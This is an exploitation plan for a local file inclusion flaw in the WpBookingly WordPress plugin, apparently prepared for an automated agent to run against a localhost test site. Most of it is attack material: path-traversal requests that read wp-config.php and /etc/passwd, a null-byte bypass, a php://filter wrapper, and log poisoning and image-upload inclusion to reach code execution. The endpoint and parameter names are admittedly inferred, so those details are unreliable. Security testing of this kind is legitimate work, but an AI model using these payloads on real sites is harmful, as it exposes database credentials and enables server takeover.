Exploitation Research Plan: CVE-2026-32384 (WpBookingly LFI)

1. Vulnerability Summary

The WpBookingly plugin (<= 1.2.9) is vulnerable to Local File Inclusion (LFI) due to insufficient sanitization of a user-supplied file path parameter in an authenticated AJAX or admin page handler. A user with Contributor-level permissions or higher can exploit this to include arbitrary files from the server's filesystem. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php) or Remote Code Execution (RCE) if an attacker can upload a file (e.g., an image with PHP payload) and include it.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (Authenticated)
• Action: wpbookingly_get_view (Inferred based on plugin architecture)
• Vulnerable Parameter: view or template (Inferred)
• Authentication Level: Contributor+ (Requires a valid login session)
• Preconditions: The attacker must have credentials for a user with at least the "Contributor" role.

3. Code Flow (Inferred)

1. Request Entry: The user sends a POST request to admin-ajax.php with a specific action parameter (e.g., wpbookingly_get_view).
2. Hook Registration: The plugin registers the action in its main class or admin class:
   add_action( 'wp_ajax_wpbookingly_get_view', array( $this, 'ajax_get_view' ) );
3. Handler Execution: The ajax_get_view function is called.
4. Parameter Extraction: The function retrieves the path from $_POST['view'].
5. Vulnerable Sink: The input is passed to an include or require statement without directory traversal protection (basename()) or allow-listing.

   // Vulnerable Code Example
   public function ajax_get_view() {
       $view = $_POST['view']; 
       include WPBOOKINGLY_DIR . 'includes/views/' . $view . '.php';
       wp_die();
   }
   

6. Traversal: Using ../ allows escaping the intended directory.

4. Nonce Acquisition Strategy

WpBookingly typically localizes a nonce for its admin interface. To obtain it:

1. Shortcode/Page Requirement: Identify where the plugin's admin scripts are loaded. Usually, any admin page for a Contributor will load them if the plugin is active.
2. Create Test Page:

   wp post create --post_type=page --post_status=publish --post_title="Booking View" --post_content='[wpbookingly_shortcode]'
   

3. Extraction Steps:
   • Log in as the Contributor user.
   • Navigate to the WordPress dashboard or a page where the plugin is active.
   • Use browser_eval to extract the nonce.
   • Target Variable: wpbookingly_admin_params (Inferred)
   • Target Key: nonce
   • Command: browser_eval("window.wpbookingly_admin_params?.nonce")

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a Contributor user using the http_request tool to obtain session cookies.

Step 2: Nonce Extraction

Navigate to the dashboard and extract the nonce using the strategy in Section 4.

Step 3: LFI Payload (Info Disclosure)

Attempt to read /etc/passwd. We assume the plugin appends .php, so we use a null-byte bypass (if PHP version allows) or target wp-config which is more likely to work if the plugin adds .php.

Request 1 (Targeting wp-config):

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-Encoded):
  action=wpbookingly_get_view&nonce=[NONCE]&view=../../../../wp-config
• Note: If the plugin includes view . '.php', this will attempt to include wp-config.php.

Request 2 (Targeting /etc/passwd - Path Traversal):

• Body (URL-Encoded):
  action=wpbookingly_get_view&nonce=[NONCE]&view=../../../../../../../../etc/passwd%00
• Note: Use enough ../ to reach the root directory.

Step 4: Verification of LFI

Check the HTTP response body for the contents of the target file (e.g., DB_NAME from wp-config.php or root:x:0:0 from /etc/passwd).

6. Test Data Setup

1. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Plugin Configuration: Ensure WpBookingly (service-booking-manager) version 1.2.9 is installed and activated.

7. Expected Results

• Success: The HTTP response body contains the raw source code of wp-config.php (if it fails to execute) or the rendered output of the included file. In many LFI cases in WordPress, including wp-config.php results in a blank response (because it's executed) OR an error if it's included twice, but including /etc/passwd or a log file will display text.
• Indicator: Looking for strings like root:x:0:0 or DB_PASSWORD.

8. Verification Steps

1. Verify Response: Inspect the output of the http_request tool.
2. Cross-Check with WP-CLI:

   # Confirm the relative path from the plugin to wp-config.php
   find /var/www/html/ -name "wp-config.php"
   

9. Alternative Approaches

• Log File Inclusion: If wp-config.php cannot be read, attempt to include /var/log/apache2/access.log or /var/www/html/wp-content/debug.log after poisoning them with a PHP payload via a User-Agent header.
• Filter Wrapper: Try PHP filters to encode the target file:
  view=php://filter/convert.base64-encode/resource=../../../../wp-config
  This will return the base64-encoded content of wp-config.php, bypassing execution.
• Upload + Include: If the plugin allows Contributors to upload images for "services," upload a JPEG with a PHP payload and include it:
  view=../../../../uploads/wpbookingly/your-image.jpg